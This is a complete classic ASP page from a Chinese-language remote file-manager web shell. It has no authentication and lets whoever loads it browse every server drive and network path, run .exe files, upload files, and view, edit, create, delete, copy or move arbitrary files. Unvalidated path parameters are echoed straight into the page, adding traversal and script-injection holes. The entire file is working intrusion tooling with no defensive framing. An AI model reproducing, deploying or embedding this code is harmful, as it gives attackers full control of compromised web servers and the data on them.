<%

urlpath="http://"&Request.ServerVariables("SERVER_NAME")

dim cpath,lpath

set fsoBrowse=CreateObject("Scripting.FileSystemObject")

if Request("path")="" then

lpath="/"

else

lpath=Request("path")&"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"

Response.write"<table border='0' width='100%' cellpadding='0'>"

For Each x In theSubFolders

Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>"

Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a></td>"

Response.Write "<td><a href=# onclick=javascript:window.open('move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>移改</a></td>"

Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>复制</a><br></td></tr>"

Next

Response.Write "</table>"

end if

End Sub

Sub GetFile()

dim theFiles

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'>"

For Each x In theFiles

if Request("attrib")="true" then

showstring="<strong>"&x.Name&"</strong>"

else

showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&x.name&"</strong></a>"

end if

if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then

showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp@filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>"

else

showstring=showstring&"</td><td width='10%'></td>"

end if

Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td><td width='45%'><a href='#' title='"&"类型："&x.type&chr(10)&"属性："&x.Attributes&chr(10)&"时间："&x.DateLastModified&"'><font color='#FF8000' >？</font>属性</a><a href=# onclick=javascript:window.open('view.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>查看</a><a href=# onclick=javascript:window.open('edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>编辑</a><a href=# onclick=javascript:window.open('edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&op=del&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >＋</font>复制</a><a href=# onclick=javascript:window.open('move.asp@spath="&server.urlencode(lpath)&server.urlencode(x.Name)&"&aim=files"&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >＋</font>移动</a></td></tr>"

Next

end if

Response.write"</table>"

End Sub

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title></title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

<style>

<!--

table{ font-family: 宋体; font-size: 9pt }

a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<script language="JavaScript">

function crfile(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open('edit.asp?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}

return false;

}

function crdir(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open('edir.asp?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}

return false;

}

</script>

<script language="vbscript">

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then

window.open("edir.asp?path="&ls&"&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]"

exit sub

end if

else

lp="<%=lpath%>"

end if

window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)

else

alert"您没有输入文件名！"

end If

end sub

</script>

<body>

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符：<span

style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%

For Each thing in fsoBrowse.Drives

Response.write "◎<a href='list.asp?path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"

NEXT

%> </span><br>

[如果该盘在服务器上不存在，那么将不显示东西，你也可以更URL上的PATH值换换到其它路径上，支持局域网地址，如："pc01c"]</td>

</tr>

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true" then

response.write "<a href='list.asp'>切换到相对路径编辑模式</a>"

else

response.write "<a href='list.asp?attrib=true'>切换到绝对路径编辑模式</a>"

end if

%> ※绝对路径:<span

style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

</tr>

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> <br>

※上传文件到当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><a href=../upfilein.asp?filepath=<%=server.urlencode(cpath)%> target=_blank>上传文件(文件大小最好不要超过500K)</a></span>

</td>

</tr><form name="newfile"

onSubmit="return crfile(newfile.filename.value);">

<tr><td bgcolor="#C0C0C0" colspan="2">〖文件〗 注：只允许文本编辑|<input type="text" name="filename" size="20"><input

type="submit" value="新建文件"><input type="button" value="新建目录" onclick="crdir(newfile.filename.value)">

</td>

</tr></form>

<tr>

<td width="40%" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>

</td>

<td width="60%" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>

</td>

</tr>

</table>

</body>

</html>